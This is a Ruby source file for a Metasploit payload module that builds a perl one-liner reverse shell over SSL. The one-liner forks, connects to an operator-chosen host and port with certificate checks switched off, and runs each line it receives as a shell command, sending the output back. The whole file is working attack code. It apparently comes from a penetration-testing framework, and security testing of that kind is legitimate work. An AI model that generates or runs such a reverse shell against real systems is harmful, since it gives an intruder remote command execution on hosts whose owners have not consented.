reverse_perl_ssl.rb

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

module MetasploitModule
  CachedSize = 173

  include Msf::Payload::Single
  include Msf::Sessions::CommandShellOptions

  def initialize(info = {})
    super(
      merge_info(
        info,
        'Name' => 'Unix Command Shell, Reverse TCP SSL (via perl)',
        'Description' => 'Creates an interactive shell via perl, uses SSL',
        'Author' => 'RageLtMan <rageltman[at]sempervictus>',
        'License' => BSD_LICENSE,
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Handler' => Msf::Handler::ReverseTcpSsl,
        'Session' => Msf::Sessions::CommandShell,
        'PayloadType' => 'cmd',
        'RequiredCmd' => 'perl',
        'Payload' => {
          'Offsets' => {},
          'Payload' => ''
        }
      )
    )
    register_advanced_options(
      [
        OptString.new('PerlPath', [true, 'The path to the Perl executable', 'perl'])
      ]
    )
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    vprint_good(command_string)
    return super + command_string
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    lhost = Rex::Socket.is_ipv6?(datastore['LHOST']) ? "[#{datastore['LHOST']}]" : datastore['LHOST']
    cmd = "#{datastore['PerlPath']} -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
    cmd += "$c=IO::Socket::SSL->new(PeerAddr=>\"#{lhost}:#{datastore['LPORT']}\",SSL_verify_mode=>0);"
    cmd + "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
  end
end